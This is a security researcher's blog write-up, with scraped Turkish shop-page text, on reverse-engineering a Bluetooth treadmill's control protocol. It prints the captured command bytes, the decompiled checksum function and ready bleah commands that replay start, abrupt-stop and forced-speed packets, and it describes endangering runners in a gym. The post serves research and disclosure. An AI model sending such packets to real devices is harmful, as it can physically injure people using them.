

Run Mert Run

written by Mert SARICA | 1 June 2022

Starting in 2020, due to the increasing impact of the Covid-19 pandemic in our country, I began doing sports with my sports coach through WhatsApp instead of going to the gym. Over time, my coach directed me to purchase various sports equipment such as a pull-up bar, weight set, and bench, and due to the ongoing pandemic, I had to expand to include a treadmill. Finally, the Voigt Active treadmill with Bluetooth function took its place among my sports equipment.

DECATHLON

BİR ÜRÜN, SPOR YA DA MARKA ARAYIN

Favori Ürünlerim

Hesabım

Mağazam

Bize ulaşın

SEPETİM

SPORLAR

KADIN

ERKEK

ÇOCUK

AKSESUARLAR

EKİPMANLAR

TÜM ÜRÜNLER



MAY FEST FİRSATLARI


SERİ SONU

BLOG

TÜM ÜRÜNLER

VOIT ACTIVE KOŞU BANDI



VOIT ACTIVE KOŞU BANDI VOIT

Referans numarası : 8660593

Denevimini İlk Paylaşan Sen Ol!

İnternette Satın Al
Stokta var

MAĞAZA STOĞUNA BAK VE SATIN AL

5.750.00TL

SEPETE EKLE

Kargoya teslim süresi: 2 İş günü

Bu koşu bandı, haftada 5 saat çalışarak formunuzu korumanız ve incelmeyi için tasarlandı. VOIT ACTIVE koşu bandı düşük yoğunlukta evde yapılan koşu antrenmanları için idealdir. Basit ve kolay oluşu ile kalp kapasitenizi geliştirmeniz için ideal yardımcınız. **Kargo firmaları hacmi büyük ve ağırlığı fazla olan kolları bina önüne kadar taşımaktadır. Daha detaylı bilgi için müşteri hizmetleri ekibimiz ile görüşebilirsiniz.**

Waiting for www...

As a security researcher who has tried to hack various electronic devices that I have purchased (such as “Don’t Just Say Printer!”, “It’s a Bird... It’s a Plane... It’s Drone!”, “and you, CPCR-505?”, “Spy Mouse”, “Escape from Imprisonment”), it did not occur to me to apply disproportionate power to the innocent treadmill. However, as the time I spent walking on the treadmill increased, the QR code on the treadmill’s panel began to catch my attention.



When I scanned the QR code with an app, I was directed to the address <http://www.artiwares.com/app/treadmill/spax/>, and from there to the page of the Gfit.INTL application on Google Play, which had many negative reviews and was developed by an unknown Chinese company. Since the treadmill supports Bluetooth, I decided to install the app, examine what commands could be sent, and identify potential malicious use scenarios.



During this research, I was aware that I would not be able to benefit from emulator-based dynamic analysis and various resources, as my favorite tool, the Genymotion emulator, does not support Apple M1 processors with macOS, as I mentioned in my article “Hooking on Android”

After installing the Gfit application on my phone and pairing it with my RunnerT treadmill, which has Bluetooth name, I saw that I could easily perform the basic functions of the treadmill, such as starting, increasing speed, decreasing speed, and stopping, through the app.



GFit



Course run

Free Run

No targets

Treadmill connecting



It may take a little longer
time to connect treadmill on
Android, please wait

Cancel

Start



Training



Rankings



Me



GFit



Course run

Free Run

No targets

free run

Start



Training




Rankings



Me


To learn about the commands sent to the treadmill by the app, I had to choose static code analysis or use the phone on which the app was installed. Since static code analysis seemed more practical, I started to examine the Gfit app with the jadx tool.




Since the code is hidden (obfuscated) throughout the app and I had no chance of doing dynamic code analysis on the emulator under the current conditions, I immediately gave up and saw what I could do with the phone.

I began to follow the steps in response to a message from someone experiencing a problem with Bluetooth packet sources on Samsung's support page.

When I reached step 6, I sent start, increase speed, decrease speed, and stop commands to the treadmill through the Gfit application, and then moved on to the other steps and began analyzing the btsnoop_hci.log file with Wireshark.



When I looked at the first command that reached the treadmill using the filter `btle.advertising_address == 62:00:a1:18:b5:22` on Wireshark, I saw the value `01000000002603`, which is the command to start the treadmill.




Next, I sent the treadmill the commands Hold/Pause (`05000000002a07`), set speed to 9 km/h (`035a000000825b`), set speed to 5.2 km/h (`03340000005c39`), and Stop (`02000000002704`) and saw the other values in parentheses on Wireshark.

First, I decided to find out if the treadmill was vulnerable to a replay attack. To do this, I had to decide on the USB device and tool that would

send the Bluetooth packets that I had obtained for the BLE-supported treadmill. For the USB device, the Parani-UD100 came to my aid, as I had used it in my article titled “The Blue Threat”

It was time to find a tool to send packets, and I decided to proceed with bleah among the gatttool, bleah, and nRF Connect tools.

On the Kali operating system, I quickly listed the Services and Characteristics that I would need to send packets to the treadmill using the Generic Attribute Protocol (GATT) with the bleah -b “62:00:xx:xx:xx:xx” -e command.



```
root@kali: ~/Desktop/bleah-master/bleah
@ Scanning for 5s [-128 dBm of sensitivity] ...
62:00: ( -64 dBm)
Vendor: ?
Allows Connections: ?
Address Type: public
Tx Power: u'00'
Incomplete 128b Services: e54eaa57-371b-476c-99a3-74d267e3edae
Manufacturer: u'5200'
Complete Local Name: RunnerT
Flags: LE General Discoverable, BR/EDR Not Supported
@ Connecting to 62:00:xx:xx:xx:xx ... connected.
@ Enumerating all the things ....
```

Handles	Service > Characteristics	Properties	Data
0001 → 0007	Generic Access (00001800-0000-1000-8000-00005f9b34fb)	READ	u'RunnerT'
0003	Device Name (00002a00-0000-1000-8000-00005f9b34fb)	READ	Unknown
0005	Appearance (00002a01-0000-1000-8000-00005f9b34fb)	READ	Connection Interval: 80 → 160
0007	Peripheral Preferred Connection Parameters (00002a04-0000-1000-8000-00005f9b34fb)	READ	Slave Latency: 0
0008 → 000b	Generic Attribute (00001801-0000-1000-8000-00005f9b34fb)	INDICATE	Connection Supervision Timeout Multiplier: 1000
000a	Service Changed (00002a05-0000-1000-8000-00005f9b34fb)		
000c → 001e	Device Information (0000180a-0000-1000-8000-00005f9b34fb)		
000e	System ID (00002a23-0000-1000-8000-00005f9b34fb)	READ	""\xb5\x18\x00\x00\x01\x00b'
0010	Model Number String (00002a24-0000-1000-8000-00005f9b34fb)	READ	u'Runner 2.0'
0012	Serial Number String (00002a25-0000-1000-8000-00005f9b34fb)	READ	u'1.A.'
0014	Firmware Revision String (00002a26-0000-1000-8000-00005f9b34fb)	READ	u'T3'
0016	Hardware Revision String (00002a27-0000-1000-8000-00005f9b34fb)	READ	u'BM_V003R001'
0018	Software Revision String (00002a28-0000-1000-8000-00005f9b34fb)	READ	u'5.2'
001a	Manufacturer Name String (00002a29-0000-1000-8000-00005f9b34fb)	READ	u'L.C.HangZhou QW'
001c	IEEE 11073-20601 Regulatory Certification Data List (00002a2a-0000-1000-8000-00005f9b34fb)	READ	'\xfe\x00experimental'
001e	Pnp ID (00002a2b-0000-1000-8000-00005f9b34fb)	READ	Vendor ID: 0x504 (Bluetooth SIG assigned Company Identifier)
			Product ID: 0x0000
			Product Version: 0x0110
001f → ffff	e54eaa57-371b-476c-99a3-74d267e3edae	WRITE	
0021	e54eaa55-371b-476c-99a3-74d267e3edae	NOTIFY	
0023	e54eaa56-371b-476c-99a3-74d267e3edae		
0026	e54eaa57-371b-476c-99a3-74d267e3edae	WRITE	

After seeing the WRITE feature in the e54eaa57-371b-476c-99a3-74d267e3edae characteristic information, I sent the bleah -b “62:00:xx:xx:xx:xx” -u “e54eaa57-371b-476c-99a3-74d267e3edae” -d “0x01000000002603” command to the treadmill using bleah and saw that the treadmill started!

At this point, after learning that the treadmill was vulnerable to replay attacks, I decided to find out how these commands were constructed. Since the source code was hidden using the obfuscation technique and I was unable to perform dynamic code analysis, I downloaded and examined older versions of the Gfit application, and soon found that the obfuscation technique was not used in the 2017 version. When I compared the source code from 2020 and 2017

side by side, it was very easy for me to learn how the commands sent from the Gfit application to the treadmill were constructed.

The screenshot shows a web browser at the top displaying the APKMonk website for the application 'com.artiwares.treadmill'. The page lists 'All Versions' of the app, including versions 5.9.6, 5.8.1, 5.6.6, 5.6.0, 5.4.3, 5.4.0, 5.2.0, and N/A. Below the browser, two Android Studio IDE windows are open. The left window shows the 'com.artiwares.treadmill_2017-00-29.apk' source code, with a red arrow pointing to the 'TreadmillBleController' class. The right window shows the 'gfit-intl-5.9.6.apk' source code, with a red arrow pointing to the 'TreadmillBleController' class. Both IDE windows show the same source code, which includes the 'startTreadmill' and 'getControlCommand' methods. Red arrows in the IDE windows point to specific lines of code: line 393 in the left window and line 393 in the right window, both pointing to the 'startTreadmill' method call. Another red arrow in the right IDE window points to line 423, which is the start of the 'getControlCommand' method.

Version	Release Date
5.9.6	June 15, 2020
5.8.1	Oct. 22, 2018
5.6.6	June 13, 2018
5.6.0	April 18, 2018
5.4.3	March 7, 2018
5.4.0	Feb. 6, 2018
5.2.0	Jan. 12, 2018
N/A	Dec. 25, 2017
N/A	Dec. 3, 2017
4.3.1	Aug. 29, 2017

```
private void readTreadmillLubricantsInfo(long delayMillis) {
    this.mBleHelper.writeCommand(getControlCommand(7, 0, 0), delayMillis);
}

private void writeSpeedCommandToTreadmill(int speed) {
    this.mBleHelper.writeCommand(getControlSpeedCommand(speed));
}

private void writeSlopeToTreadmill(int slope, long delayMillis) {
    this.mBleHelper.writeCommand(getControlSlopeCommand(slope), delayMillis);
}

private byte[] getControlSpeedCommand(int speed) {
    return getControlCommand(3, speed, 0);
}

private byte[] getControlSlopeCommand(int slope) {
    return getControlCommand(4, 0, slope);
}

private byte[] getControlCommand(int mode, int speed, int slope) {
    byte[] cmd = new byte[7];
    cmd[0] = (byte) (mode & 255);
    cmd[1] = (byte) (speed & 255);
    cmd[2] = 0;
    cmd[3] = 0;
    cmd[4] = 0;
    cmd[5] = (byte) (((cmd[0] + cmd[1]) ^ cmd[2]) + cmd[3] + 37);
    cmd[6] = (byte) ((cmd[0] + cmd[1] + cmd[2] + cmd[3] + 2));
    return cmd;
}
```

When I quickly looked at the source code, the `startTreadmill(long delayMillis)` function was called to start the treadmill, then the `mBleHelper.writeCommand(getControlCommand(1, 0, 0), delayMillis)` function was called, and finally, the `getControlCommand(int mode, int speed, int slope)` function was called, which creates the 7-byte packet to be sent to the treadmill.


```
private byte[] getControlCommand(int mode, int speed, int slope) {
    byte[] cmd = new byte[7];
    cmd[0] = (byte) (mode & 255);
```


```

cmd[1] = (byte) (speed & 255);
cmd[2] = (byte) (slope & 255);
cmd[3] = 0;
cmd[4] = 0;
cmd[5] = (byte) (((cmd[0] + cmd[1]) ^ cmd[2]) + cmd[3] + 37);
cmd[6] = (byte) ((cmd[0] ^ cmd[1]) + cmd[2] + cmd[3] + 2);
return cmd;
}

```

I was able to create the output 01000000002603 by using the getControlCommand function with the variables mode = 1, speed = 0, and slope = 0 using Python. This way, I was able to generate all the commands from starting the treadmill (getControlCommand(1, 0, 0)) to increasing speed (getControlCommand(3, 5, 0)) using Python and send them to the treadmill using the Parani-UD100 and the bleah tool without the Gfit application.





When I came to try out the malicious use scenarios that came to mind,

1. I tried to increase the speed of the treadmill, which is 14 km/h, to 20 km/h (bleah -b "62:00:xx:xx:xx:xx" -u "e54eaa57-371b-476c-99a3-74d267e3edae" -d "0x03c8000000f0cd") and found that it could only be set to a maximum of 14 km/h. (good news)
2. In the second scenario, when I sent the command to stop the treadmill while it was running at a speed of 14 KM per hour (bleah -b "62:00:xx:xx:xx:xx" -u "e54eaa57-371b-476c-99a3-74d267e3edae" -d "0x02000000002704"), I saw that the treadmill slowed down to 0 KM in the time it took to reach its current speed (if it was running at 14 KM per hour, it stopped in 14 seconds). However, when I sent the same packet twice in a row, it slowed down in 4-5 seconds and I thought that such a sudden drop in speed while running at high speeds could lead to an accident for the runner. (bad news)
3. Finally, when I sent a command to the treadmill to increase the speed of a person walking or running at low speed to 14 KM per hour in an infinite loop, as shown in the video below, I saw that the person tried to decrease the speed in a panic but failed, and therefore the possibility of an accident occurred. And when I think about a malicious person going to a gym that has purchased and made these treadmills available for use and sending this command to all the treadmills in order, I didn't even want to imagine the crisis that would occur. (bad news)

In conclusion, I highly recommend considering the risks before purchasing or using this treadmill developed by an unknown Chinese company that cannot turn off its Bluetooth function. Hope to see you in the following articles.